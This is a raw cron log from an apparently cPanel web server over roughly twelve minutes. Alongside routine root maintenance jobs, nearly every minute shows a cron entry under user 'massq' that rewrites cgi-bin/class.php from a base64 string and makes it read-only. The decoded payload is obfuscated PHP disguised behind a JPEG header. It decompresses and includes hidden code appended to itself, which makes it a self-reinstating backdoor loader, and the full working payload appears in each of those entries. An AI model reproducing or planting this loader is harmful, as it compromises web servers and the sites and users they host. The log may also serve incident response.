Sep  4 21:39:01 server CROND[29327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:40:01 server CROND[29812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:40:01 server CROND[29813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:40:01 server CROND[29816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:40:01 server CROND[29817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:40:01 server CROND[29820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:40:01 server CROND[29821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:40:01 server CROND[29824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:40:01 server CROND[29825]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:41:01 server CROND[30652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:41:01 server CROND[30653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:41:01 server CROND[30660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:42:01 server CROND[31022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:42:01 server CROND[31023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:42:01 server CROND[31024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:42:01 server CROND[31021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:43:01 server CROND[31414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:43:01 server CROND[31416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:43:01 server CROND[31415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:44:01 server CROND[31780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:44:01 server CROND[31781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:44:01 server CROND[31782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:45:01 server CROND[32252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:45:01 server CROND[32258]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:45:01 server CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:45:01 server CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:45:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:45:01 server CROND[32263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:45:01 server CROND[32264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:46:01 server CROND[630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:46:01 server CROND[632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:46:01 server CROND[631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:47:01 server CROND[1023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:47:01 server CROND[1025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:47:01 server CROND[1024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:48:01 server CROND[1489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:48:01 server CROND[1490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:48:01 server CROND[1496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:49:01 server CROND[1865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:49:01 server CROND[1866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:49:01 server CROND[1867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:50:01 server CROND[2284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:50:01 server CROND[2288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:50:01 server CROND[2292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:50:01 server CROND[2295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:50:01 server CROND[2294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:50:01 server CROND[2300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:50:01 server CROND[2296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:50:01 server CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:50:01 server CROND[2293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:51:01 server CROND[3245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
